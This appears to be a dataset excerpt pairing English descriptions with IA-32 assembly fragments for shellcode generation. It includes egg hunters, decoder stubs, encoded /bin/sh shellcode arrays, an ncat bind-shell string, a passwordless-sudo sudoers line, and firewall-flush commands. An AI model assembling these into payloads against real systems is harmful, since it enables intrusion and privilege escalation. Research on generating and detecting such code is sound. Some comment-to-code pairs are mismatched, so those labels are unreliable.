OSS-forge/Extended_Shellcode_IA32 huggingface dataset:
; if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the loop label else jump to the eax register
cmp DWORD [eax], edx
jne loop
jmp eax
; compare eax with the egg_sig, if not compare jump to search_the_egg
cmp dword [eax], edx
jne search_the_egg
; jump to the while label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register
cmp DWORD [eax], edx
jne search_the_egg
jmp eax
; jump to the search_the_egg label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register
cmp DWORD [eax], edx
jne search_the_egg
jmp eax
; if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the while label else jump to the eax register
cmp DWORD [eax], edx
jne search_the_egg
jmp eax
; if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the search_the_egg label else jump to the eax register
cmp DWORD [eax], edx
jne search_the_egg
jmp eax
; if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270 then jump to the while label
cmp DWORD [edx], 0x636f7270
je while
; jump to the while label if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270
cmp DWORD [edx], 0x636f7270
je while
; jump to execute_shellcode if the doubleword in esi+edx+5 is equal to edi
cmp dword [esi + edx + 5], edi
jz execute_shellcode
; compare the doubleword stored at memory location var to the integer value 10
cmp dword [var], 10
; id edx content and dword pointed by eax are different go to loop label
cmp dword ptr [eax],edx
jne loop
; compare the dx value with zero
cmp dx, 00
; jump to the L1 label if the contents of the dx register is equal to the value 0x03e8
cmp dx, 0x03e8
je L1
; if the contents of the dx register is equal to the value 0x03e8 then jump to the L1 label
cmp dx, 0x03e8
je L1
; compare eax to zero
cmp eax, 0
; compare if eax is equal to 0
cmp eax, 0
; compare if eax is zero
cmp eax, 0
; compare the contents of eax and the contents of eax
cmp eax, eax
; jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register
cmp eax, eax
jne 0x8
; if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8
cmp eax, eax
jne 0x8
; jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register else zero out the eax register
cmp eax, eax
jne 0x8
xor eax, eax
; if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8 else zero out the eax register
cmp eax, eax
jne 0x8
xor eax, eax
; jump short to the memory location loc_40102B if the contents of the eax register is not equal to the contents of the ebp register
cmp eax, ebp
jnz short loc_40102B
; if the contents of the eax register is not equal to the contents of the ebp register then jump short to the memory location loc_40102B
cmp eax, ebp
jnz short loc_40102B
; compare eax with ebx
cmp eax, ebx
; compare the contents of eax and the contents of ebx
cmp eax, ebx
; compare the contents of the eax register and the contents of the ebx register
cmp eax, ebx
; jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register
cmp eax, ebx
je 0x47
; if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47
cmp eax, ebx
je 0x47
; if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47 else zero out the ecx register
cmp eax, ebx
je 0x47
xor ecx, ecx
; jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register else zero out the ecx register
cmp eax, ebx
je 0x47
xor ecx, ecx
; if eax and ebx content are equal go to _all label
cmp eax, ebx
je all
; jump to the all label if the contents of the eax register is equal to the contents of the ebx register
cmp eax, ebx
je all
; if the contents of the eax register is equal to the contents of the ebx register then jump to the all label
cmp eax, ebx
je all
; jump to the all label if the contents of the eax register is equal to the contents of the ebx register else zero out the eax register
cmp eax, ebx
je all
xor eax, eax
; if the contents of the eax register is equal to the contents of the ebx register then jump to the all label else zero out the eax register
cmp eax, ebx
je all
xor eax, eax
; jump to the child label if the contents of the eax register is equal to the contents of the ebx register
cmp eax, ebx
je child
; if the contents of the eax register is equal to the contents of the ebx register then jump to the child label
cmp eax, ebx
je child
; compare ebx and eax content. if they are equal go to _connect label, else go to _exit label
cmp eax, ebx
je connect
ja exit
; jump to the connect label if the contents of the eax register is equal to the contents of the ebx register else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register
cmp eax, ebx
je connect
ja exit
; if the contents of the eax register is equal to the contents of the ebx register then jump to the connect label else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register
cmp eax, ebx
je connect
ja exit
; if the contents of the eax register is equal to the contents of the ebx register then jump to the download label
cmp eax, ebx
je download
; jump to the download label if the contents of the eax register is equal to the contents of the ebx register
cmp eax, ebx
je download
; if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label
cmp eax, ebx
je exit
; jump to the exit label if the contents of the eax register is equal to the contents of the ebx register
cmp eax, ebx
je exit
; jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x3 into the al register
cmp eax, ebx
je exit
add al, 0x3
; if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x3 into the al register
cmp eax, ebx
je exit
add al, 0x3
; jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x4 into the al register
cmp eax, ebx
je exit
mov al, 0x4
; if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x4 into the al register
cmp eax, ebx
je exit
mov al, 0x4
; jump to the L1 label if the contents of the eax register is equal to the contents of the ebx register
cmp eax, ebx
je L1
; if the contents of the eax register is equal to the contents of the ebx register then jump to the L1 label
cmp eax, ebx
je L1
; jump to the retry label if the contents of the eax register is not equal to the contents of the ebx register
cmp eax, ebx
jne retry
; if the contents of the eax register is not equal to the contents of the ebx register then jump to the retry label
cmp eax, ebx
jne retry
; compare eax with ebx content, if the xero flag is set go to the address 0x47
cmp eax, ebx
jz 0x47
; if edi content is not equal to eax content go to _infinite label
cmp eax, edi
jne infinite
; jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register
cmp eax, edi
jne infinite
; if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label
cmp eax, edi
jne infinite
; jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register else zero out the eax register
cmp eax, edi
jne infinite
xor eax, eax
; if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label else zero out the eax register
cmp eax, edi
jne infinite
xor eax, eax
; compare hexadecimal value 0xf3ab0aba with eax
cmp eax,0xf3ab0aba
; compare the contents of eax with ebx
cmp eax,ebx
; if eax content is equal to ebx content jump to _exit label
cmp eax,ebx
je exit
; compare ebx with eax content. if they are not equal go to _retry label
cmp eax,ebx
jne retry
; compare ebx and eax content then jump to download_label if the result of the comparison is 0
cmp eax,ebx
jz download
; compare the contents of the ebp register with the value 0
cmp ebp, 0
; compare if ebx is zero
cmp ebx, 0
; jump to the exit label if the unsigned contents of the ebx register is greater than the unsigned value 10 else jump to the loop label
cmp ebx, 9
ja exit
jmp loop
; if the unsigned contents of the ebx register is greater than the unsigned value 10 then jump to the exit label else jump to the loop label
cmp ebx, 9
ja exit
jmp loop
; compare ecx to 0
cmp ecx, 0
; compare if ecx is zero
cmp ecx, 0
; compare ecx with 0h
cmp ecx, 0h
; compare if ecx is equal to 10
cmp ecx, 10
; compare if ecx is equal to 100
cmp ecx, 100
; compare if our counter is equal to 100
cmp ecx, 100
; compare ecx with 5
cmp ecx, 5
; compare ecx and ebp
cmp ecx, ebp
; compare the contents of the ecx register with the contents of the ebp register
cmp ecx, ebp
; jump to the l1 label if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register
cmp ecx, edx
ja l1
; if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register then jump to the l1 label else
cmp ecx, edx
ja l1
; compare if edi is equal to 0
cmp edi, 0
; compare if edx is zero
cmp edx, 0
; jump to the loop label if the unsigned contents of the edx register is greater than the unsigned value 0x43 else push the contents of the edx register onto the stack
cmp edx, 0x43
ja loop
push edx
; if the unsigned contents of the edx register is greater than the unsigned value 0x43 then jump to the loop label else push the contents of the edx register onto the stack
cmp edx, 0x43
ja loop
push edx
; compare whether the edx register has reached 10
cmp edx, 10
; compare the contents of edx to 42
cmp edx, 42
; jump to loc_402B13 if the contents of the edx register is equal to 42
cmp edx, 42
je short loc_402B13
; if the contents of the edx register is equal to 42 then jump to loc_402B13
cmp edx, 42
je short loc_402B13
; compare the contents of edx and the contents of ebx
cmp edx, ebx
; jump to the memory address 0x8 if the contents of the edx register is equal to the contents of the ebx register
cmp edx, ebx
je 0x8
; if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8
cmp edx, ebx
je 0x8
; jump to the memory address 0x8 if the contents of the edx register is equal to the contents of the ebx register else move the contents of the edx register into the ebx register
cmp edx, ebx
je 0x8
mov ebx, edx
; if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8 else move the contents of the edx register into the ebx register
cmp edx, ebx
je 0x8
mov ebx, edx
; compare if esi is equal to 10
cmp esi, 10
; jump to the find_egg label if the contents of the esi register is equal to the contents of the edx register
cmp esi, edx
je find_egg
; compare the word at the address ecx and 0x5951
cmp word [ecx], 0x5951
; compare ecx content with the marker, then decrement ecx by 1 and if cx != 0 and the zero flag is clear go to _next else go to ecx address
cmp word [ecx], 0x5951
loopnz next
jmp ecx
; check if we have found the egg. in case of negative response go to find_egg label else call esi
cmp[esi], edx
jz find_egg
call esi
; subtract the value at location esi from the value a location edi without saving results. update flags based on the subtraction and the index registers esi and edi.
cmps byte ptr ds:[esi],byte ptr es:[edi]
; declare code_label
code:
; define the code label
code:
; in common_commands point to the next byte in esi
common_commands:
inc esi
; define _connect label
connect:
; define connect function
connect:
; define _cont label
cont:
; define the cont label
cont:
; define a string db and initialize to 'hello world!'
contents db 'hello world!', 0h
; define _createfile label
createfile:
; declare the createfile label
createfile:
; define createfile function
createfile:
; define cycle label
cycle:
; define cycle
cycle:
; declare the cycle label
cycle:
; in D1 move the current byte of the shellcode in the bl register
D1:
mov bl, byte [esi]
; declare D1 and move the current byte of the shellcode in the cl register
D1:
mov cl, byte [esi]
; declare D1 and move the current byte of the shellcode in the dl register
D1:
mov dl, byte [esi]
; in D1 save the shellcode in esi and move it to edi
D1:
pop esi
mov edi, esi
; declare the function D2 and negate the byte in esi
D2:
not byte [esi]
; define the function D2 and negate the byte in esi
D2:
not byte [esi]
; declare the function D2 and negate the current byte of the shellcode
D2:
not byte [esi]
; define D2 save the in esi the pointer to the shellcode and move esi into edi
D2:
pop esi
mov edi, esi
; declare the ruotine D3 and add the value 5 to the current byte of the shellcode
D3:
add byte [esi], 5
; declare the ruotine D3 and add the value 8 to the current byte of the shellcode
D3:
add byte [esi], 8
; declare the function D3, store the shellcode in edi and move the pointer into esi
D3:
pop esi
mov edi, esi
; define function D3 and subtract 7 from the current byte of the shellcode
D3:
sub byte [esi], 7
; in D4 store the shellcode in edi and move the pointer into esi
D4:
pop esi
mov edi, esi
; define the function D4 and perform the xor operation between the byte in esi and the 0x1 value
D4:
xor byte [esi], 0x1
; define the function D4 and perform the xor operation between the byte of the shellcode and the 0x12 value
D4:
xor byte [esi], 0x12
; define the function D4 and perform the xor operation between the byte in esi and the 0x5 value
D4:
xor byte [esi], 0x5
; decimal adjust al register after subtraction.
das
; correct the result in al register of the previous bcd subtraction operation.
das
; declare the data label
data:
; define the byte string ',ajm,pk#########'
db ',ajm,pk#########'
; define a byte string and initialize it to '/bin/sh'
db '/bin/sh'
; define the byte string '/bin/sh'
db '/bin/sh'
; define the byte string '/bin/sh#sh#'
db '/bin/sh#sh#'
; define the byte string '/etc/passwd#'
db '/etc/passwd#'
; define the byte string '/proc/sys/kernel/randomize_va_spacex'
db '/proc/sys/kernel/randomize_va_spacex'
; define the byte string '/sbin/insmod#/tmp/o.o'
db '/sbin/insmod#/tmp/o.o'
; define the byte string '/sbin/ipchains#-f#'
db '/sbin/ipchains#-f#'
; define the byte string '/sbin/iptables#-f#'
db '/sbin/iptables#-f#'
; define the byte string '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd'
db '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd'
; define the byte string '0',10
db '0',10
; define the byte string 'all all=(all) nopasswd: all'
db 'all all=(all) nopasswd: all', 0xa
; define the byte string 'cp /bin/sh /tmp/sh'
db 'cp /bin/sh /tmp/sh'
; initialize a string to 'egg mark'
db 'egg mark'
; define the byte string 'egg mark'
db 'egg mark'
; define the byte string 'my.txtx'
db 'my.txtx'
; define the byte string 'rm -f /tmp/f'
db 'rm -f /tmp/f'
; define the byte string Ô0ahÕ
db 0ah
; define the byte string Ô0b1hÕ
db 0b1h
; define the byte string Ô0b8hÕ
db 0b8h
; define the byte string Ô0c6hÕ
db 0c6h
; define the byte string Ô0d8hÕ
db 0d8h
; define the byte string Ô0e2hÕ
db 0e2h
; define an array of bytes and initialize it to 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b
db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b
; declare a byte contining 0x68
db 0x68
; declare a byte with no label containing the value 0x68
db 0x68
; declare a byte and initialize it to 0x80
db 0x80
; declare an unlabeled byte initialized to 0x80
db 0x80
; define an array of bytes and initialize it to 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d
db 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d
; define a byte and initialize it to 0xcd
db 0xcd
; define the byte 0xcd
db 0xcd
; declare a byte with no label containing the value 10
db 10
; declare an unlabeled byte initialized to 10
db 10
; define the byte string Ô20hÕ
db 20h
; define the byte string Ô24hÕ
db 24h
; define the byte string Ô60hÕ
db 60h
; define the byte string Ô69hÕ
db 69h
; define the byte string Ô70hÕ
db 70h
; define the byte string Ô80hÕ
db 80h
; define the byte string Ô81hÕ
db 81h
; define the byte string Ô83hÕ
db 83h
; define the byte string Ô87hÕ
db 87h
; define the byte string Ô8bhÕ
db 8bh
; define the byte string Ô9ahÕ
db 9ah
; define a byte and initialize it to 0xdeadbeef
dd 0xdeadbeef
; define double word 0xdeadbeef two times
dd 0xdeadbeef
dd 0xdeadbeef
; decrement the al register and jump to shellcode if the result is zero
dec al
jz shellcode
; decrement the bl register and jump to L1 if the result is not zero
dec bl
jnz L1
; decrement the bl register and jump to L1 if the result is zero
dec bl
jz L1
; decrement the byte at the address dl by one
dec byte dl
; decrement the byte in dl
dec byte dl
; decrement cl by1
dec cl
; decrement cl register by 1
dec cl
; decrement cl register
dec cl
; drement cl content by 1
dec cl
; decrement counter
dec cl
; decrement the counter
dec cl
; decrement the cl register by one
dec cl
; decrement the contents of cl
dec cl
; decrement the contents of the cl register
dec cl
; decrement the contents of the cl register and jump to the dup2 label if the result is not negative
dec cl
jns dup2
; decrement the contents of the cl register and jump to the loop_dup label if the result is not negative
dec cl
jns loop_dup
; decrement the contents of the cl register and jump to the loopinghere label if the result is not negative
dec cl
jns loopinghere
; decrement cl and jump to L2 if the result is not equal to zero
dec cl
jnz L2
; decrement cl and jump to L2 if the result is zero
dec cl
jz L2
; decrement dl
dec dl
; decrement the dl register by one
dec dl
; decrement dl and jump to L3 if the result is not zero
dec dl
jnz L3
; decrement dl and jump to L3 if the result is zero
dec dl
jz L3
; decrements eax by 1
dec eax
; decrement eax content
dec eax
; decrement eax content by 1
dec eax
; decrement the contents of the eax register
dec eax
; subtract one from the contents of eax
dec eax
; decrement the eax register by one
dec eax
; decrement eax
dec eax
; decrease ebp
dec ebp
; decrement ebx by 1
dec ebx
; decrement ebx
dec ebx
; decrease ebx by 1
dec ebx
; subtract one from the contents of ebx
dec ebx
; decrement the ebx register by one
dec ebx
; decrements ecx by 1
dec ecx
; decrement ecx by 1
dec ecx
; decrement ecx
dec ecx
; decrement ecx register
dec ecx
; decrement loop counter
dec ecx
; decrement the counter ecx
dec ecx
; decrement ecx alias loop counter
dec ecx
; decrement loop-counter
dec ecx
; decrement ecx content
dec ecx
; decrement ecx content by 1
dec ecx
; count down to zero
dec ecx
; decrement counter
dec ecx
; decrease ecx by 1
dec ecx
; decrement the contents of the ecx register
dec ecx
; decrement the ecx register by one
dec ecx
; decrement the contents of the ecx register and jump to the _dup2_loop label if the result is not negative
dec ecx
jns _dup2_loop
; decrement the contents of the ecx register and jump to the 2f_loop label if the result is not negative
dec ecx
jns 2f_loop
; decrement the contents of the ecx register and jump to the dup2 label if the result is not negative
dec ecx
jns dup2
; decrement the contents of the ecx register and jump to the dup2loop label if the result is not negative
dec ecx
jns dup2loop
; decrement ecx by 1 and jump to the dup2loop procedure until ecx equals 0
dec ecx
jns dup2loop
; decrement the contents of the ecx register and jump to the duploop label if the result is not negative
dec ecx
jns duploop
; decrement ecx by 1 and as long as sf is not set, jump to _loop label
dec ecx
jns loop
; decrement the contents of the ecx register and jump to the loop label if the result is not negative
dec ecx
jns loop
; decrement the contents of the ecx register and jump to the loop2 label if the result is not negative
dec ecx
jns loop2
; decrement the contents of the ecx register and jump to the counter_is_now_zero label if the result is zero
dec ecx
jz counter_is_now_zero
; decrement edi register
dec edi
; decrement edi content
dec edi
; decrement edx content by 1
dec edx
; decrement the edx register by one
dec edx
; decrement edx
dec edx
; decrement esp
dec esp
; decrement the esp register by one
dec esp
; define decode_insertion label
decode_insertion:
; decode_loop
decode_loop:
; define decode_pr label
decode_pr:
; decode_pr function
decode_pr:
; define decode_xor label
decode_xor:
; define _decode label
decode:
; declare _decode label
decode:
; define decode label
decode:
; define _ decode label
decode:
; define decode function
decode:
; declare the decode label
decode:
; define the decode label
decode:
; function decode
decode:
; decode function
decode:
; decode routine
decode:
; decode label
decode:
; in the decode function jump to lowbound label if the current byte of the shellcode is lower than 0x7 else subtract 0x7 from the byte of the shellcode and jump to common_commands
decode:
cmp byte [esi], 0x7
jl lowbound
sub byte [esi], 0x7
jmp common_commands
; in decode move the current byte of the shellcode in the bl register
decode:
mov bl, byte [esi]
; define the decode function and negate the byte in esi
decode:
not byte [esi]
; define decode function and subtract 13 from the current byte of the shellcode
decode:
sub byte [esi], 13
; define the decode function and perform the xor operation between the byte in esi and the 0xaa value
decode:
xor byte [esi], 0xaa
; define _decoded_shellcode label
decoded_shellcode:
; define decoded_shellcode function
decoded_shellcode:
; declare the decoded_shellcode label and call the stack
decoded_shellcode:
call [esp]
; decoder_setup label
decoder_setup:
; define decoder_value as an array of the following bytes: 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d
decoder_value: db 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d
; declare decoder label
decoder:
; declare _decoder label
decoder:
; declare _decoderf label
decoder:
; define decoder label
decoder:
; define decoder_label
decoder:
; define _decoder label
decoder:
; define _ decoder label
decoder:
; define the decoder function
decoder:
; decoder function
decoder:
; decoder routine
decoder:
; declare the label decoder
decoder:
; define decoder
decoder:
; decoder's main
decoder:
; decoder label
decoder:
; declare the decoder function
decoder:
; define decoder function
decoder:
; declare the decoder label
decoder:
; define the decoder function and store the encoded shellcode pointer in the esi register
decoder:
pop esi
; in the decoder routine save the shellcode in esi
decoder:
pop esi
; in decoder save the shellcode in esi and move it to edi
decoder:
pop esi
mov edi, esi
; define decoder1_label
decoder1:
; declare decoder2_label
decoder2:
; define _decrypt label
decrypt:
; declare the decrypt label
decrypt:
; declare a constant size and set equal to 25
dim: equ 25
; define dim to be 512 bytes large
dim: equ 512
; divide the contents of eax by the word value stored at memory location value
div dword [value]
; divide the contents of in eax by by the word value stored at memory location var
div dword [var]
; divide dx:ax by the double word in eax storing in ax the quotient and in dx the reminder
div dword ptr [eax]
; divide eax by ebx
div ebx
; divide the contents of eax by the contents of ebx
div ebx
; divide eax by ecx
div ecx
; divide eax by ecx the result of the division is stored in eax and the remainder in edx
div ecx
; divide eax by value in edx
div edx
; divide eax by esi
div esi
; declare the do_dup label
do_dup:
; define do_dup label
do_dup:
; declare the doit label
doit:
; define _done label
done:
; declare the done label
done:
; delcare download_label
download:
; declare the download label
download:
; define download function
download:
; declare _dup label
dup2:
; declare _dup2 label
dup2:
; define dup2 label
dup2:
; define _dup2 label
dup2:
; declare the dup2 label
dup2:
; define dup2 function
dup2:
; declare _dup2loop label
dup2loop:
; delcare the dup2loop label
dup2loop:
; declare _dopcount label
dupcount:
; declare _dupcount label
dupcpunt:
; define duploop_label
duploop:
; declare the duploop label
duploop:
; define duploop function
duploop:
; define egg equal to 'egg '
egg equ 'egg '
; define egg1 equal to 'mark'
egg1 equ 'mark'
; define _egghunter label
egghunter:
; declare the egghunter label
egghunter:
; define enc_label
enc:
; declare the enc label
enc:
; define enc function and call decoder
enc:
call decoder
; encoded_shellcode is an array of bytes 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
encoded_shellcode: db 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
; define encoded_shellcode as array of words 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539
encoded_shellcode: dw 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539
; define _encoded label
encoded:
; encoded is the array of bytes 0xaa,0x62,0xc0,0xaa,0xa0,0xaa,0xd0,0xaa,0x5e,0xaa,0x5e,0xaa,0xe6,0xaa,0xd0,0xaa,0xd0,0xaa,0x5e,0xaa,0xc4,0xaa,0xd2,0xaa,0xdc,0x89,0xe3,0xaa,0xa0,0x89,0xe2,0xaa,0xa6,0x89,0xe1,0xb0,0xaa,0x16,0xcd,0x80,0xbb
encoded: db 0xaa,0x62,0xc0,0xaa,0xa0,0xaa,0xd0,0xaa,0x5e,0xaa,0x5e,0xaa,0xe6,0xaa,0xd0,0xaa,0xd0,0xaa,0x5e,0xaa,0xc4,0xaa,0xd2,0xaa,0xdc,0x89,0xe3,0xaa,0xa0,0x89,0xe2,0xaa,0xa6,0x89,0xe1,0xb0,0xaa,0x16,0xcd,0x80,0xbb
; define encoded as array of words 0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539
encoded: dw 0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539
; define encodedshellcode_label
encodedshellcode:
; define the array of bytes encodedshellcode and initialize to \xeb\x1d\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x8a\x1c\x06\x80\xf3\xaa\x75\x10\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\xe8\xde\xff\xff\xff\x31\xaa\xc0\xaa\x50\xaa\x68\xaa\x2f\xaa\x2f\xaa\x73\xaa\x68\xaa\x68\xaa\x2f\xaa\x62\xaa\x69\xaa\x6e\xaa\x89\xaa\xe3\xaa\x50\xaa\x89\xaa\xe2\xaa\x53\xaa\x89\xaa\xe1\xaa\xb0\xaa\x0b\xaa\xcd\xaa\x80\xaa\xbb\xbb
encodedshellcode: db \xeb\x1d\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x8a\x1c\x06\x80\xf3\xaa\x75\x10\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\xe8\xde\xff\xff\xff\x31\xaa\xc0\xaa\x50\xaa\x68\xaa\x2f\xaa\x2f\xaa\x73\xaa\x68\xaa\x68\xaa\x2f\xaa\x62\xaa\x69\xaa\x6e\xaa\x89\xaa\xe3\xaa\x50\xaa\x89\xaa\xe2\xaa\x53\xaa\x89\xaa\xe1\xaa\xb0\xaa\x0b\xaa\xcd\xaa\x80\xaa\xbb\xbb
; define the array of bytes encodedshellcode and initialize it to 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce
encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce
; define the array of bytes encodedshellcode and initialize to 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce
encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce
; encodedshellcode is the array of bytes 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe
encodedshellcode: db 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe
; declare _encodedshellcode label and the encoded shellcode: 0x4c,0xbd,0x2d,0x15,0x52,0x52,0x0e,0x15,0x15,0x52,0x1f,0x14,0x13,0xf4,0x9e,0x2d,0xf4,0x9f,0x2e,0xf4,0x9c,0xcd,0x76,0xb0,0xfd
encodedshellcode: db 0x4c,0xbd,0x2d,0x15,0x52,0x52,0x0e,0x15,0x15,0x52,0x1f,0x14,0x13,0xf4,0x9e,0x2d,0xf4,0x9f,0x2e,0xf4,0x9c,0xcd,0x76,0xb0,0xfd
; define _encodedshellcode label declare db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3
encodedshellcode: db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3
; define the array of bytes encodedshellcode and initialize it to 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3
encodedshellcode: db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3
; define the array of bytes encodedshellcode and initialize it to 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94,0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87
encodedshellcode: db 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94,0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87
